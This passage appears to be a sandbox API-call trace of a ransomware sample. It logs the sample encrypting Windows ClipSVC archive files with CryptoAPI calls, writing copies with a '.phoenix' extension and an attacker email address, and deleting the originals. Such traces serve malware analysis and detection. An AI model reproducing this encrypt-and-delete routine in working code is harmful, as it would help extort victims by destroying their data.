	[0245.688] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xc80, lpOverlapped=0x0) returned 1
	[0245.689] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151600) returned 1
	[0245.689] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0245.689] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0245.689] CryptDestroyKey (hKey=0x151600) returned 1
	[0245.689] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0245.689] CryptDestroyKey (hKey=0x151780) returned 1
	[0245.690] CloseHandle (hObject=0x2f0) returned 1
	[0245.690] CloseHandle (hObject=0x2b0) returned 1
	[0245.690] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\7646fa0f-b52c-71a8-3aed-950dd1668c09.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\7646fa0f-b52c-71a8-3aed-950dd1668c09.xml")) returned 1
	[0245.824] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0245.824] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\8d56e57b-8663-136d-ff69-a004e217825a.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\8d56e57b-8663-136d-ff69-a004e217825a.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0245.825] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=2669) returned 1
	[0245.825] CloseHandle (hObject=0x2f0) returned 1
	[0245.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\8d56e57b-8663-136d-ff69-a004e217825a.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\8d56e57b-8663-136d-ff69-a004e217825a.xml")) returned 0x20
	[0245.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\8d56e57b-8663-136d-ff69-a004e217825a.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\8d56e57b-8663-136d-ff69-a004e217825a.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0245.826] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\8d56e57b-8663-136d-ff69-a004e217825a.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\8d56e57b-8663-136d-ff69-a004e217825a.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0245.826] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0245.826] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0245.826] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\8d56e57b-8663-136d-ff69-a004e217825a.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\8d56e57b-8663-136d-ff69-a004e217825a.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0245.827] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151140) returned 1
	[0245.827] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0245.827] ReadFile (in: hFile=0x2f0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xa6d, lpOverlapped=0x0) returned 1
	[0245.913] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xa70, dwBufLen=0xa70 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xa70) returned 1
	[0245.913] WriteFile (in: hFile=0x2b4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xa70, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xa70, lpOverlapped=0x0) returned 1
	[0245.914] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151600) returned 1
	[0245.914] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0245.914] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0245.914] CryptDestroyKey (hKey=0x151600) returned 1
	[0245.914] WriteFile (in: hFile=0x2b4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0245.914] CryptDestroyKey (hKey=0x151140) returned 1
	[0245.914] CloseHandle (hObject=0x2f0) returned 1
	[0245.915] CloseHandle (hObject=0x2b4) returned 1
	[0245.915] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\8d56e57b-8663-136d-ff69-a004e217825a.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\8d56e57b-8663-136d-ff69-a004e217825a.xml")) returned 1
	[0245.916] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0245.916] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\91edce6b-d93b-f186-c4e2-d38502cc520e.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\91edce6b-d93b-f186-c4e2-d38502cc520e.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0245.917] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=3201) returned 1
	[0245.917] CloseHandle (hObject=0x2b4) returned 1
	[0245.917] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\91edce6b-d93b-f186-c4e2-d38502cc520e.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\91edce6b-d93b-f186-c4e2-d38502cc520e.xml")) returned 0x20
	[0245.917] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\91edce6b-d93b-f186-c4e2-d38502cc520e.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\91edce6b-d93b-f186-c4e2-d38502cc520e.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0245.917] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\91edce6b-d93b-f186-c4e2-d38502cc520e.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\91edce6b-d93b-f186-c4e2-d38502cc520e.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0245.917] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0245.917] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0245.917] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\91edce6b-d93b-f186-c4e2-d38502cc520e.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\91edce6b-d93b-f186-c4e2-d38502cc520e.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0245.920] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151780) returned 1
	[0245.920] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0245.920] ReadFile (in: hFile=0x2b4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xc81, lpOverlapped=0x0) returned 1
	[0245.999] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc90, dwBufLen=0xc90 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc90) returned 1
	[0245.999] WriteFile (in: hFile=0x2f0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xc90, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xc90, lpOverlapped=0x0) returned 1
	[0246.000] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151140) returned 1
	[0246.000] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0246.000] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0246.000] CryptDestroyKey (hKey=0x151140) returned 1
	[0246.000] WriteFile (in: hFile=0x2f0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0246.000] CryptDestroyKey (hKey=0x151780) returned 1
	[0246.001] CloseHandle (hObject=0x2b4) returned 1
	[0246.001] CloseHandle (hObject=0x2f0) returned 1
	[0246.001] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\91edce6b-d93b-f186-c4e2-d38502cc520e.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\91edce6b-d93b-f186-c4e2-d38502cc520e.xml")) returned 1
	[0246.002] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0246.002] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\92c2558b-5247-7fec-0ec0-79f2583ab410.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\92c2558b-5247-7fec-0ec0-79f2583ab410.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0246.005] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=3273) returned 1
	[0246.005] CloseHandle (hObject=0x2b0) returned 1
	[0246.005] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\92c2558b-5247-7fec-0ec0-79f2583ab410.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\92c2558b-5247-7fec-0ec0-79f2583ab410.xml")) returned 0x20
	[0246.005] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\92c2558b-5247-7fec-0ec0-79f2583ab410.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\92c2558b-5247-7fec-0ec0-79f2583ab410.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0246.005] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\92c2558b-5247-7fec-0ec0-79f2583ab410.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\92c2558b-5247-7fec-0ec0-79f2583ab410.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0246.005] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0246.005] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0246.005] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\92c2558b-5247-7fec-0ec0-79f2583ab410.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\92c2558b-5247-7fec-0ec0-79f2583ab410.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0246.007] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1514c0) returned 1
	[0246.007] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0246.007] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xcc9, lpOverlapped=0x0) returned 1
	[0246.105] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xcd0, dwBufLen=0xcd0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xcd0) returned 1
	[0246.105] WriteFile (in: hFile=0x2f0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xcd0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xcd0, lpOverlapped=0x0) returned 1
	[0246.106] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151100) returned 1
	[0246.106] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0246.106] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0246.106] CryptDestroyKey (hKey=0x151100) returned 1
	[0246.106] WriteFile (in: hFile=0x2f0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0246.106] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0246.106] CloseHandle (hObject=0x2b0) returned 1
	[0246.106] CloseHandle (hObject=0x2f0) returned 1
	[0246.107] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\92c2558b-5247-7fec-0ec0-79f2583ab410.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\92c2558b-5247-7fec-0ec0-79f2583ab410.xml")) returned 1
	[0246.108] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0246.108] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\a1e5b165-0532-a6a3-f542-0c5c162be3e1.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\a1e5b165-0532-a6a3-f542-0c5c162be3e1.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0246.109] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=2754) returned 1
	[0246.109] CloseHandle (hObject=0x2b0) returned 1
	[0246.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\a1e5b165-0532-a6a3-f542-0c5c162be3e1.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\a1e5b165-0532-a6a3-f542-0c5c162be3e1.xml")) returned 0x20
	[0246.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\a1e5b165-0532-a6a3-f542-0c5c162be3e1.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\a1e5b165-0532-a6a3-f542-0c5c162be3e1.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0246.110] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\a1e5b165-0532-a6a3-f542-0c5c162be3e1.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\a1e5b165-0532-a6a3-f542-0c5c162be3e1.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0246.110] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0246.110] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0246.110] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\a1e5b165-0532-a6a3-f542-0c5c162be3e1.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\a1e5b165-0532-a6a3-f542-0c5c162be3e1.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0246.111] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151180) returned 1
	[0246.111] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0246.111] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xac2, lpOverlapped=0x0) returned 1
	[0246.112] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xad0, dwBufLen=0xad0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xad0) returned 1
	[0246.112] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xad0, lpOverlapped=0x0) returned 1
	[0246.113] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151100) returned 1
	[0246.113] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0246.113] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0246.113] CryptDestroyKey (hKey=0x151100) returned 1
	[0246.113] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0246.113] CryptDestroyKey (hKey=0x151180) returned 1
	[0246.113] CloseHandle (hObject=0x2b0) returned 1
	[0246.113] CloseHandle (hObject=0x2c8) returned 1
	[0246.113] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\a1e5b165-0532-a6a3-f542-0c5c162be3e1.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\a1e5b165-0532-a6a3-f542-0c5c162be3e1.xml")) returned 1
	[0246.114] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0246.114] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\a7e08b8b-ad4b-af00-ebcc-1aa29a833ce9.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\a7e08b8b-ad4b-af00-ebcc-1aa29a833ce9.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0246.114] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=3246) returned 1
	[0246.115] CloseHandle (hObject=0x2c8) returned 1
	[0246.115] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\a7e08b8b-ad4b-af00-ebcc-1aa29a833ce9.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\a7e08b8b-ad4b-af00-ebcc-1aa29a833ce9.xml")) returned 0x20
	[0246.115] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\a7e08b8b-ad4b-af00-ebcc-1aa29a833ce9.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\a7e08b8b-ad4b-af00-ebcc-1aa29a833ce9.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0246.115] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\a7e08b8b-ad4b-af00-ebcc-1aa29a833ce9.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\a7e08b8b-ad4b-af00-ebcc-1aa29a833ce9.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0246.115] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0246.115] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0246.115] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\a7e08b8b-ad4b-af00-ebcc-1aa29a833ce9.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\a7e08b8b-ad4b-af00-ebcc-1aa29a833ce9.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0246.115] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151600) returned 1
	[0246.115] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0246.115] ReadFile (in: hFile=0x2c8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xcae, lpOverlapped=0x0) returned 1
	[0246.209] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xcb0, dwBufLen=0xcb0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xcb0) returned 1
